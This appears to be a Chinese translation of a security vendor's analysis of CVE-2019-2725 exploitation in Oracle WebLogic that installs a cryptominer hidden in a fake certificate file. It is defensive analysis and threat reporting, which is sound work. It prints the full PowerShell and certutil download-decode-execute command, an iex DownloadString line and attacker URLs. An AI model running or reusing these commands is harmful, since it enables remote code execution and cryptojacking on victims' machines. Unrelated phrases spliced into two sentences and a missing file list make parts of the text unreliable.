CVE-2019-2725是Oracle Weblogic的一个反序列化远程代码执行漏洞,于2019年4月披露,就在公告发布后不久,SANS ISC InfoSec论坛上就出现了研究报告称该漏洞被某些犯罪分子利用以安装加密货币挖矿机。趋势科技对报告反馈的活动进行了验证,同时发现一个有趣的地方——恶意软件将恶意代码隐藏在证书文件中作为混淆策略。
感染链
图1.感染链
安装程序
在目标计算机中,恶意软件将利用CVE-2019-2725执行以下命令:中国菜刀
“powershell.exe -Win hiddeN -Exec ByPasS add-content -path %APPDATA%cert.cer (New-Object Net.WebClient).DownloadString(‘hxxp://45.32.28.187:1012/cert.cer’); certutil -decode %APPDATA%cert.cer %APPDATA%update.ps1 & start /b cmd /c powershell.exe -Exec Bypass -NoExit -File %APPDATA%update.ps1 & start /b cmd /c del %APPDATA%cert.cer”
该命令的目的是执行一系列例程。首先,PowerShell(PS)用于从命令和控制(C&C)服务器下载证书文件,并使用文件名cert.cer将其保存在%APPDATA%下(由趋势科技检测为Coinminer.Win32.MALXMR。TIAOODCJ.component)。
然后,它使用组件CertUtil(用于管理Windows中的证书)来解码文件,并将解码的文件保存为%APPDATA%\ update.ps1。
之后,在使用cmd删除下载的cert.cer文件之前,使用PS执行新创建的update.ps1(Trojan.PS1.MALXMR.MPA)文件。
当我们下载证书文件时,我们注意到它看起来像普通的隐私增强邮件(PEM)格式证书。
图2.下载的证书文件
但是,在解码base64内容时,我们发现,它实际上以以下PS命令的形式出现,而不是常用的X.509 TLS文件格式:
iex(New-ObjectNet.WebClient).DownloadString(‘hxxp://139.180.199.167:1012/update[.]ps1’)
证书文件中的一个特性引起了我们的关注,即要求在显示PS命令之前对其进行两次解码,这是不常见的,因为漏洞利用的命令仅使用CertUtil一次。还有一种可能性是,我们下载的证书文件可能与远程命令实际要下载的文件不同,因为威胁行为者会不断更新。
加密货币挖矿机payload
证书文件中的PS命令会下载并执行内存中的另一个PS脚本,而此脚本将下载并执行以下文件:奇热看片
然后用新的update.ps1替换包含已解码证书文件的update.ps1文件,并创建一个计划任务,每30分钟执行一次新的update.ps1。
证书文件混淆
使用证书文件来隐藏恶意软件的想法并不是一个新概念:去年下半年,Sophos就演示过如何将一个嵌入宏的Excel文件放在证书文件中。当然,现在来看这种手法并不常见。通过将证书文件混淆,恶意软件很有可能会逃避检测,因为下载的文件是一种证书文件格式,这种格式被视为正常格式——尤其是在建立HTTPS连接时。
然而奇怪的是,攻击者在从已解码的证书文件执行PS命令时,会下载其他恶意文件,而不是通过前面提到的证书文件格式进行隐藏。这可能表明攻击者目前正在测试混淆方法有效性,之后才会扩展到恶意软件变体中去。
Oracle已经发布了一个针对CVE-2019-2725的更新。因此,强烈建议使用WebLogic Server的用户将其软件更新到最新版本,以防止任何利用该漏洞的攻击。
IoC
URLs
· hxxp://139[.]180[.]199[.]167:1012/clean[.]bat
· hxxp://139[.]180[.]199[.]167:1012/config[.]json
· hxxp://139[.]180[.]199[.]167:1012/networkservice[.]exe
· hxxp://139[.]180[.]199[.]167:1012/sysguard[.]exe
· hxxp://139[.]180[.]199[.]167:1012/sysupdate[.]exe
· hxxp://139[.]180[.]199[.]167:1012/update[.]ps1
· hxxp://45.32.28.187:1012
· hxxp://45.32.28.187:1012/cert.cer
· hxxps://pixeldrain[.]com/api/file/bg2Fh-d_
· hxxps://pixeldrain[.]com/api/file/cGsOoTyb
· hxxps://pixeldrain[.]com/api/file/cGsOoTyb/wujnEh-n1
· hxxps://pixeldrain[.]com/api/file/DF1zsieq1
· hxxps://pixeldrain[.]com/api/file/TyodGuTm